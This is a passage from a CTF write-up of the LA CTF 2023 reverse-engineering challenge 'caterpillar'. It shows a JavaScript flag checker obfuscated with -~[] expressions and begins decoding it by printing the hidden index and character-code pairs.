---
title: 'LA CTF 2023 Writeup'
---

LA CTF 2023 Writeup
===
## rev/caterpillar
-~-~-~-~[]? -~-~-~-~[].
Downloads
`caterpillar.js`
---
#### Analysis
> caterpillar.js :
:::spoiler Click to show details
```javascript=
const flag = "lactf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}";
if (flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt([]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[] && flag.charCodeAt(-~-~-~-~-~[]) == -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[]) {
console.log("That is the flag!");
} else {
console.log("That is not the flag!");
}
````
:::
This JavaScript file has been obfuscated by expressions of the form `-~[]`. Due to the way JavaScript type coercion works, [] is treated as 0.
In here, the `charCodeAt()` method returns `UTF-16` code unit at the specified index. I tried to replace from
`flag.charCodeAt(` to `console.log(`,
```!
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
```
after that save it to `file.js` then I call it with small script.
```python=
#!/usr/bin/env python3
from Naked.toolshed.shell import *
file = muterun_js("./file.js")
extract = file.stdout.decode().strip().split('\n')
print(extract)
```
The output is `['17 108']`, it’s an integer? let's try to replace all.
:::spoiler Click to show details
```javascript=
